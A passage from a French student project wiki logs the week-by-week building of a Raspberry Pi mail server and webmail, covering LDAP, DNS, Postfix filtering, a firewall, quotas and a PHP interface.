 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
